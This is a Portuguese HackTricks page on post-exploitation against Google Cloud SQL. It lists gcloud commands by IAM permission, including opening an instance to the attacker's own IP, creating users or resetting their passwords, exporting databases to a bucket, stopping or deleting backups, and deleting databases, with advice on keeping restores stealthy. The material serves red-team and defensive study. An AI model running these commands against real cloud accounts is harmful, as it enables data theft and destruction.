GCP - Cloud SQL Post Exploitation

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Cloud SQL

Para mais informações sobre o Cloud SQL, verifique:

pageGCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

Para se conectar aos bancos de dados, você apenas precisa de acesso à porta do banco de dados e saber o nome de usuário e senha, não há requisitos de IAM. Portanto, uma maneira fácil de obter acesso, supondo que o banco de dados tenha um endereço IP público, é atualizar as redes permitidas e permitir que seu próprio endereço IP acesse.

# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

Também é possível usar --no-backup para interromper os backups do banco de dados.

Como esses são os requisitos, não tenho certeza do que são as permissões cloudsql.instances.connect e cloudsql.instances.login. Se você souber, envie um PR!

cloudsql.users.list

Obtenha uma lista de todos os usuários do banco de dados:

gcloud sql users list --instance <intance-name>

cloudsql.users.create

Esta permissão permite criar um novo usuário dentro do banco de dados:

gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

Esta permissão permite atualizar um usuário dentro do banco de dados. Por exemplo, você poderia alterar sua senha:

gcloud sql users set-password <username> --instance <instance-name> --password <password>

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Os backups podem conter informações sensíveis antigas, então é interessante verificá-los. Restaurar um backup dentro de um banco de dados:

gcloud sql backups restore <backup-id> --restore-instance <instance-id>

Para fazer de forma mais furtiva, é recomendável criar uma nova instância SQL e recuperar os dados lá, em vez de nos bancos de dados em execução atualmente.

cloudsql.backupRuns.delete

Essa permissão permite excluir backups:

gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

Exporte um banco de dados para um Bucket de Armazenamento na Nuvem para que você possa acessá-lo a partir de lá:

# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName>

cloudsql.instances.import, storage.objects.get

Importar um banco de dados (sobrescrever) de um Bucket de Armazenamento na Nuvem:

# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

Excluir um banco de dados da instância do banco de dados:

gcloud sql databases delete <db-name> --instance <instance-id>
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Última actualización